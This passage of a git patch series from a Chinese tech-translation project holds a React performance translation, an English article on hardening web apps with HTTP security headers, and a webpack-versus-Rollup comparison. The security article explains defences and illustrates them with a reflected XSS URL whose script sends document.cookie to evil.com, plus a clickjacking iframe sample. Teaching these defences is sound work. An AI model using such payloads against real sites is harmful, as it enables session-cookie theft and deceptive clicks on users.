 问题是每次 `mapStateToProps` 执行，它会返回一个新的对象，即使底层对象没有被改变。结果，`<List>` 组件每次都会重绘，即使只有 state 的一部分改变了 - date 或 ids 改变造成 id 改变。
 
-[Reselect](https://github.com/reactjs/reselect) solves this problem by using memoization. Instead of computing the props directly in `mapStateToProps`, you use a *selector* from reselect, which returns the same output if the input didn’t change.
-
 [Reselect](https://github.com/reactjs/reselect) 通过备忘录模式解决这个问题。相比在 `mapStateToProps` 中直接计算 props，从 reselect 中用 **selector** 如果输入没有变化，则返回相同的输出。
 
 ```
@@ -514,21 +411,13 @@ const mapStateToProps = (state, props) => {
 export default connect(mapStateToProps)(List);
 ```
 
-Now the `<List>` component will only rerender if a subset of the state changes.
-
 现在 `<List>` 组件仅在 state 的子集改变时重绘。
 
-As for recompose, reselect selectors are pure functions, easy to test and compose. It’s a great way to code your selectors for Redux connected components.
-
 作为重组问题，reselect selector 是纯函数，易于测试和组合。它是为 Redux connected 组件编写 selector 的最佳方式。
 
-## Beware of Object Literals in JSX
-
-## 当心 JSX 中的对象文字
-
-Once your components become more “pure”, you start detecting bad patterns that lead to useless rerenders. The most common is the usage of object literals in JSX, which I like to call “**The infamous {{**”. Let me give you an example:
+## 当心 JSX 中的对象字面量
 
-当你的组件变得更 “纯” 时，你开始检测坏模式，这将导致无用重绘。最常见的是 JSX 中对象文字的使用，我更喜欢称之为 "**臭名昭著的双大括号**"。请允许我举例说明：
+当你的组件变得更 “纯” 时，你开始检测导致无用重绘坏模式。最常见的是 JSX 中对象字面量的使用，我更喜欢称之为 "**臭名昭著的 {{**"。请允许我举例说明：
 
 ```
 import React from 'react';
@@ -541,9 +430,7 @@ const Datagrid = (props) => (
 )
 ```
 
-The `style` prop of the `<MyTableComponent>` component gets a new value every time the `<Datagrid>` component is rendered. So even if `<MyTableComponent>` is pure, it will be rendered every time `<Datagrid>` is rendered. In fact, each time you pass an object literal as prop to a child component, you break purity. The solution is simple:
-
-每次 `<Datagrid>` 组件重绘，`<MyTableComponent>` 组件的 `style` 属性都会得到一个新值。所以即使 `<MyTableComponent>` 是纯的，每次 `<Datagrid>` 重绘时它也会跟着重绘。事实上，每次把对象文字当做属性值传递到子组件时，你就打破了纯函数。解法很简单：
+每次 `<Datagrid>` 组件重绘，`<MyTableComponent>` 组件的 `style` 属性都会得到一个新值。所以即使 `<MyTableComponent>` 是纯的，每次 `<Datagrid>` 重绘时它也会跟着重绘。事实上，每次把对象字面量当做属性值传递到子组件时，你就打破了纯函数。解法很简单：
 
 ```
 import React from 'react';
@@ -557,12 +444,8 @@ const Datagrid = (props) => (
 )
 ```
 
-This looks very basic, but I’ve seen this mistake so many times that I’ve developed a sense for detecting the infamous `{{` in JSX. I routinely replace it with constants.
-
 这看起来很基础，但是我见过太多次这个错误，因而生成了检测臭名昭著的 `{{` 的敏锐直觉。我把他们一律替换成常量。
 
-Another usual suspect for hijacking pure components is `React.cloneElement()`. If you pass a prop by value as second parameter, the cloned element will receive new props at every render.
-
 另一个常用来劫持纯函数的 suspect 是 `React.cloneElement()`。如果你把 prop 值作为第二参数传入方法，每次渲染就会生成一个带新 props 的新 clone 组件。
 
 ```
@@ -573,8 +456,6 @@ const MyComponent = (props) => <div>{React.cloneElement(Foo, { bar: 1 })}</div>;
 const additionalProps = { bar: 1 };
 const MyComponent = (props) => <div>{React.cloneElement(Foo, additionalProps)}</div>;
 ```
-    
-This has bitten me a couple times with [material-ui](http://www.material-ui.com/#/), for instance with the following code:
 
 [material-ui](http://www.material-ui.com/#/) 已经困扰了我一段时间，举例如下：
 
@@ -592,9 +473,7 @@ const Toolbar = ({ basePath, refresh }) => (
 export default Toolbar;
 ```
 
-Although `<CreateButton>` is pure, it was rendered every time `<Toolbar>` was rendered. That’s because material-ui’s `<CardActions>` adds a special style to its first child to accommodate for margins - and it does so with an object literal. So `<CreateButton>` received a different `style` prop every time. I solved it using recompose’s `onlyUpdateForKeys()` HOC.
-
-尽管 `<CreateButton>` 是纯函数，但每次 `<Toolbar>` 绘制它也会绘制。那是因为 material-ui 的 `<CardActions>` 添加了一个特殊 style，为了使第一个子节点适应 margin - 它用了一个对象文字来做这件事。所以 `<CreateButton>` 每次都收到不同的 `style` 属性。我用 recompose 的 `onlyUpdateForKeys()` HOC 解决了这个问题。
+尽管 `<CreateButton>` 是纯函数，但每次 `<Toolbar>` 绘制它也会绘制。那是因为 material-ui 的 `<CardActions>` 添加了一个特殊 style，为了使第一个子节点适应 margin - 它用了一个对象字面量来做这件事。所以 `<CreateButton>` 每次都收到不同的 `style` 属性。我用 recompose 的 `onlyUpdateForKeys()` HOC 解决了这个问题。
 
 ```
 // in Toolbar.js
@@ -607,21 +486,13 @@ const Toolbar = ({ basePath, refresh }) => (
 export default onlyUpdateForKeys(['basePath', 'refresh'])(Toolbar);
 ```
 
-## Conclusion
-
 ## 结论
 
-There are many other things you should do to keep your React app fast (using keys, lazy loading heavy routes, the `react-addons-perf` package, using ServiceWorkers to cache app state, going isomorphic, etc), but implementing `shouldComponentUpdate` correctly is the first step - and the most rewarding.
-
 还有许多可以使 React 应用更快的方法（使用 keys，懒加载重路由，`react-addons-perf` 包，使用 ServiceWorkers 缓存应用状态，使用同构等等），但正确实现 `shouldComponentUpdate` 是第一步 - 也是最有用的。
 
-React isn’t fast by default, but it offers all the tools to be fast whatever the size of the application. This may seem counterintuitive, especially since many frameworks offering an alternative to React claim themselves as n times faster. But React puts developer experience before performance. That’s the reason why developing large apps with React is such a pleasant experience, without bad surprises, and a constant implementation rate.
-
-React 默认是不快的，但是无论是什么规模的应用，它都提供了许多工具来加速。这也许是违反直觉的，尤其自从许多框架提供了 React 的替代品，它们声称比 React 快 n 倍。但 React 把开发者的体验放在了性能之前。这也是为什么用 React 开发大型应用是个愉快的体验，没有差劲的惊喜，只有不变的实现速度。
-
-Just remember to profile your app every once in a while, and dedicate some time to add a few `pure()` calls where it’s needed. Don’t do it first, or spend too much time to over optimize each and every component - except if you’re on mobile. And remember to test on various devices to get a good impression of your app’s responsiveness from a user’s point of view.
+React 默认是不快的，但是无论是什么规模的应用，它都提供了许多工具来加速。这也许是违反直觉的，尤其自从许多框架提供了 React 的替代品，它们声称比 React 快 n 倍。但 React 把开发者的体验放在了性能之前。这也是为什么用 React 开发大型应用是个愉快的体验，没有惊吓，只有不变的实现速度。
 
-只要记住，每隔一段时间 profile 你的应用，让出一些时间在必要的地方添加一些 `pure()` 调用。别一开始就做优化，别花费过多时间在每个组件的过度优化上 - 除非你是在移动端。记住测试不同设备，从用户观点得到对你的应用响应式的良好印象。
+只要记住，每隔一段时间 profile 你的应用，让出一些时间在必要的地方添加一些 `pure()` 调用。别一开始就做优化，别花费过多时间在每个组件的过度优化上 - 除非你是在移动端。记住在不同设备进行测试，让用户对应用的响应式有良好印象。
 
 ---
 

From c716a07c0418a17ac2168f1ad47a83f57a894a23 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 7 Apr 2017 20:38:02 +0800
Subject: [PATCH 057/638] Create secure-web-app-http-headers.md

---
 TODO/secure-web-app-http-headers.md | 260 ++++++++++++++++++++++++++++
 1 file changed, 260 insertions(+)
 create mode 100644 TODO/secure-web-app-http-headers.md

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
new file mode 100644
index 00000000000..4514e6c4c2a
--- /dev/null
+++ b/TODO/secure-web-app-http-headers.md
@@ -0,0 +1,260 @@
+> * 原文地址：[How To Secure Your Web App With HTTP Headers](https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/)
+> * 原文作者：[Hagay Lupesko](https://www.smashingmagazine.com/author/hagaylupesko/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+## [How To Secure Your Web App With HTTP Headers](https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/) ##
+
+
+Today, too many websites are still inaccessible. In our new book *Inclusive Design Patterns*, we explore how to craft **flexible front-end design patterns** and make **future-proof and accessible interfaces without extra effort**. Hardcover, 312 pages. [Get the book now!](https://shop.smashingmagazine.com/products/inclusive-design-patterns?utm_source=magazine&amp;utm_campaign=inclusive-design-patterns&amp;utm_medium=html-ad-content-1)
+
+[![](https://www.smashingmagazine.com/wp-content/uploads/2016/10/inclusive-design-pattners-250px.png)](https://shop.smashingmagazine.com/products/inclusive-design-patterns?utm_source=magazine&amp;utm_campaign=inclusive-design-patterns&amp;utm_medium=html-ad-content-1) 
+
+
+Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately [40% of data breaches](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/) originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather **a necessity for web developers**, especially for developers who build consumer-facing applications.
+
+HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.
+
+#### Further Reading on SmashingMag: 
+
+- [Facing The Challenge: Building A Responsive Web Application](https://www.smashingmagazine.com/2013/06/building-a-responsive-web-application/) 
+- [Getting Ready For HTTP2: A Guide For Web Designers And Developers](https://www.smashingmagazine.com/2016/02/getting-ready-for-http2/) 
+- [Common Security Mistakes in Web Applications](https://www.smashingmagazine.com/2010/10/common-security-mistakes-in-web-applications/)
+- [Web Security: Are You Part Of The Problem?](https://www.smashingmagazine.com/2010/01/web-security-primer-are-you-part-of-the-problem/)
+
+### About HTTP Headers ###
+
+Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.
+
+Plain-text HTTP response headers can be examined easily using cURL, with the `--head` option, like so:
+
+```
+$ curl --head https://www.google.com
+HTTP/1.1 200 OK
+Date: Thu, 05 Jan 2017 08:20:29 GMT
+Expires: -1
+Cache-Control: private, max-age=0
+Content-Type: text/html; charset=ISO-8859-1
+Transfer-Encoding: chunked
+Accept-Ranges: none
+Vary: Accept-Encoding
+…
+```
+
+Today, hundreds of headers are used by web apps, some standardized by the [Internet Engineering Task Force](https://www.ietf.org/) (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.
+
+### Disabling Caching Of Confidential Resources ###
+
+Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!
+
+The IETF’s [RFC 7234](https://tools.ietf.org/html/rfc7234), which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to *always* cache responses to HTTP `GET` requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.
+
+There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:
+
+- `Cache-Control`
+
+This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: `cache-control: no-cache, no-store, must-revalidate`. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
+
+- `Pragma: no-cache`
+ 
+For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the `Cache-Control` header mentioned above. Use `Pragma: no-cache` to ensure that these older clients do not cache your response.
+
+- `Expires: -1`
+
+This header specifies a timestamp after which the response is considered stale. By specifying `-1`, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.
+
+Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading [Jake Archibald’s post](https://jakearchibald.com/2016/caching-best-practices/) on the subject.
+
+Here’s how you would program these headers in Node.js:
+
+```
+function requestHandler(req, res) {
+	res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
+	res.setHeader('Pragma','no-cache');
+	res.setHeader('Expires','-1');
+}
+```
+
+### Enforcing HTTPS ###
+
+Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!
+
+The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.
+
+How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in [RFC 6797](https://tools.ietf.org/html/rfc6797), HSTS enables a web app to instruct browsers to allow *only* HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.
+
+HSTS directives include the following:
+
+- `max-age=<number of seconds>`
+
+This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
+
+- `includeSubDomains`
+
+This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
+
+- `preload`
+
+This is a powerful directive that forces browsers to *always* load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with [HSTS Preload List Submission](https://hstspreload.org), a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.
+
+A word of caution: using the `preload` directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!
+
+My recommendation is to use `Strict-Transport-Security: max-age=31536000; includeSubDomains;` which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the `preload` directive, in which case don’t forget to register your website on the preload list as well, as noted above!
+
+Here’s what implementing HSTS looks like in Node.js:
+
+```
+functionrequestHandler(req, res){
+	res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');}
+```
+
+### Enabling XSS Filtering ###
+
+In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!
+
+To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:
+
+```
+function handleRequest(req, res) {
+    res.writeHead(200);
+
+    // Get the search term
+    const parsedUrl = require('url').parse(req.url);
+    const searchTerm = decodeURI(parsedUrl.query);
+    const resultSet = search(searchTerm);
+
+    // Render the document
+    res.end(
+        "<html>" +
+            "<body>" +
+                "<p>You searched for: " + searchTerm + "</p>" +
+                // Search results rendering goes here…
+            "</body>" +
+        "</html>");
+};
+```
+
+Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:
+
+```
+https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>
+```
+
+As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!
+
+To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.
+
+Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the `X-XSS-Protection` header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.
+
+`X-XSS-Protection` directives include these:
+
+- `1` or `0`
+
+This enables or disables the filter.
+- `mode=block`
+
+This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.
+
+I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:
+
+```
+X-XSS-Protection: 1; mode=block
+```
+
+Here’s how you would configure this response header in Node.js:
+
+```
+functionrequestHandler(req, res){
+	res.setHeader('X-XSS-Protection','1;mode=block');}
+```
+
+### Controlling Framing ###
+
+An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.
+
+One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!
+
+```
+<html>
+  <body>
+    <button class='some-class'>Win a Prize!</button>
+    <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
+  </body>
+</html>
+```
+
+Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the `opacity: 0` CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.
+
+An effective way to block this attack is by restricting your web app from being framed. `X-Frame-Options`, specified in [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt), is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the `DENY` directive, whitelist specific domains using the `ALLOW-FROM` directive, or whitelist only the web app’s origin using the `SAMEORIGIN` directive.
+
+My recommendation is to use the `SAMEORIGIN` directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:
+
+```
+X-Frame-Options: SAMEORIGIN
+```
+
+Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:
+
+```
+functionrequestHandler(req, res){
+	res.setHeader('X-Frame-Options','SAMEORIGIN');}
+```
+
+### Explicitly Whitelisting Sources ###
+
+As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.
+
+Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.
+
+CSP is a [W3C specification](https://www.w3.org/TR/2016/WD-CSP3-20160901/) that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious `eval`) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.
+
+This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.
+
+CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a [great tutorial](https://www.html5rocks.com/en/tutorials/security/content-security-policy/) that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.
+
+Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (`eval`) and inline scripts (as usual, on Node.js):
+
+```
+functionrequestHandler(req, res){
+	res.setHeader('Content-Security-Policy',"script-src 'self'");}
+```
+
+### Preventing Content-Type Sniffing ###
+
+In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the `Content-Type` response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.
+
+Luckily, the `X-Content-Type-Options` response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because `X-Content-Type-Options` was only formally specified as part of the [“Fetch” specification](https://fetch.spec.whatwg.org/#x-content-type-options-header), the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.
+
+`X-Content-Type-Options` is a simple response header, with only one directive: `nosniff`. This header looks like this: `X-Content-Type-Options: nosniff`. Here’s an example of a configuration of the header:
+
+```
+functionrequestHandler(req, res){
+	res.setHeader('X-Content-Type-Options','nosniff');}
+```
+
+### Summary ###
+
+In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.
+
+#### Takeaways ####
+
+- Disable caching for confidential information using the `Cache-Control` header.
+- Enforce HTTPS using the `Strict-Transport-Security` header, and add your domain to Chrome’s preload list.
+- Make your web app more robust against XSS by leveraging the `X-XSS-Protection` header.
+- Block clickjacking using the `X-Frame-Options` header.
+- Leverage `Content-Security-Policy` to whitelist specific sources and endpoints.
+- Prevent MIME-sniffing attacks using the `X-Content-Type-Options` header.
+
+Remember that for the web to be truly awesome and engaging, it has to be secure. Leverage HTTP headers to build a more secure web!
+
+
+
+(**Disclaimer:** The content of this post is my own and doesn’t represent my past or current employers in any way whatsoever.)
+
+*Front page image credits: [Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/).*
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 70b8b484b9c34c825b0ca589e98fd852646ecb93 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 7 Apr 2017 20:54:36 +0800
Subject: [PATCH 058/638] Create webpack-and-rollup-the-same-but-different.md

---
 ...bpack-and-rollup-the-same-but-different.md | 58 +++++++++++++++++++
 1 file changed, 58 insertions(+)
 create mode 100644 TODO/webpack-and-rollup-the-same-but-different.md

diff --git a/TODO/webpack-and-rollup-the-same-but-different.md b/TODO/webpack-and-rollup-the-same-but-different.md
new file mode 100644
index 00000000000..7bc3f470f12
--- /dev/null
+++ b/TODO/webpack-and-rollup-the-same-but-different.md
@@ -0,0 +1,58 @@
+> * 原文地址：[Webpack and Rollup: the same but different](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c)
+> * 原文作者：[Rich Harris](https://medium.com/@Rich_Harris?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Webpack and Rollup: the same but different #
+
+![](https://cdn-images-1.medium.com/max/1000/1*rtjClMZ8sq3cLFT9Aq8Xyg.png)
+
+This week, Facebook merged a [monster pull request](https://github.com/facebook/react/pull/9327) into React that replaced its existing build process with one based on [Rollup](https://rollupjs.org/) , [prompting](https://twitter.com/stanlemon/status/849366789825994752) [several](https://twitter.com/MrMohtas/status/849362334988595201) [people](https://twitter.com/kyleholzinger/status/849683292760797184) to ask ‘why did you choose Rollup over webpack’?
+
+Which is a completely reasonable question. [Webpack](https://webpack.js.org/)  is one of the modern JavaScript community’s greatest success stories, with millions of downloads every month powering tens of thousands of websites and applications. It has a large ecosystem, dozens of contributors, and — unusually for a community open source project — [meaningful financial support](https://opencollective.com/webpack) .
+
+By comparison, Rollup is a minnow. But React isn’t alone — Vue, Ember, Preact, D3, Three.js, Moment, and dozens of other well-known libraries also use Rollup. So what’s going on? Why can’t we have just one JavaScript module bundler that everyone agrees on?
+
+### A tale of two bundlers ###
+
+webpack was started in 2012 by [Tobias Koppers](https://medium.com/@sokra) to solve a hard problem that existing tools didn’t address: building complex single-page applications (SPAs). Two features in particular changed everything:
+
+1. **Code-splitting** makes it possible to break your app apart into manageable chunks that can be loaded on-demand, meaning your users get an interactive site much faster than if they had to wait for the whole application to download and parse. You *can* do this manually, but, well… good luck.
+2. **Static assets** such as images and CSS can be imported into your app and treated as just another node in the dependency graph. No more carefully placing your files in the right folders and hacked-together scripts for adding hashes to file URLs — webpack can take care of it for you.
+
+Rollup was created for a different reason: to build flat distributables of JavaScript libraries as efficiently as possible, taking advantage of the ingenious design of ES2015 modules. Other module bundlers — webpack included — work by wrapping each module in a function, putting them in a bundle with a browser-friendly implementation of `require`, and evaluating them one-by-one. That’s great if you need things like on-demand loading, but otherwise it’s a bit of a waste, and it [gets worse if you have lots of modules](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/).
+
+ES2015 modules enable a different approach, which Rollup uses. All your code is put in the same place and evaluates in one go, resulting in leaner, simpler code that starts up faster. You can [see it for yourself with the Rollup REPL](https://rollupjs.org/repl).
+
+But there’s a trade-off: code-splitting is a much hairier problem, and at the time of writing Rollup doesn’t support it. Similarly, Rollup doesn’t do hot module replacement (HMR). And perhaps the biggest pain point for people coming to Rollup — while it handles most CommonJS files (via a [plugin](https://github.com/rollup/rollup-plugin-commonjs) ), some things just don’t translate to ES2015, whereas webpack handles everything you throw at it with aplomb.
+
+### So which should I use? ###
+
+By now, hopefully it’s clear why both tools coexist and support each other — they serve different purposes. The tl;dr is this:
+
+> Use webpack for apps, and Rollup for libraries
+
+That’s not a hard and fast rule — lots of sites and apps are built with Rollup, and lots of libraries are built with webpack. But it’s a good rule of thumb.
+
+If you need code-splitting, or you have lots of static assets, or you’re building something with lots of CommonJS dependencies, Webpack is a better choice. If your codebase is ES2015 modules and you’re making something to be used by other people, you probably want Rollup.
+
+### Package authors: use `pkg.module!` ###
+
+For a long time, using JavaScript libraries was a bit of a crapshoot, because you and the library author effectively had to agree on a module system. If you were using Browserify but she preferred AMD, you would have to duct tape things together before you could actually build anything. The [Universal Module Definition](https://github.com/umdjs/umd)  (UMD) format *sort of* fixed that, but because it wasn’t enforced anywhere you never knew quite what you were going to get.
+
+ES2015 changes all that, because `import` and `export` are part of the language. In the future, there’ll be no ambiguity, and things will work a lot more seamlessly. Unfortunately, because browsers (mostly) and Node don’t yet support `import` and `export`, we still need to ship UMD files (or CommonJS, if you’re building something Node-only).
+
+By adding a `"module": "dist/my-library.es.js"` entry to your library’s package.json file (aka `pkg.module`), it’s possible to serve UMD and ES2015 at the same time, right now. **That’s important because Webpack and Rollup can both use** `pkg.module` **to generate the most efficient code possible** — in some cases, they can even both [tree-shake](https://webpack.js.org/guides/tree-shaking/) unused parts of your library away.
+
+*Learn more about`pkg.module` on the [*Rollup wiki*](https://github.com/rollup/rollup/wiki/pkg.module) .*
+
+Hopefully this article makes the relationship between the two projects a bit clearer. If you still have questions, find us on Twitter at [rich_harris](https://twitter.com/rich_harris)/[rollupjs](https://twitter.com/rollupjs)  and [thelarkinn](https://twitter.com/thelarkinn) . Happy bundling!
+
+Our thanks to Rich Harris for writing this article. We believe that collaboration in open source is incredibly vital to ensure we push technology and the web forward together.
+
+No time to help contribute? Want to give back in other ways? Become a Backer or Sponsor to webpack by [donating to our open collective](https://opencollective.com/webpack). Open Collective not only helps support the Core Team, but also supports contributors who have spent significant time improving our organization on their free time! ❤
+
+---
+
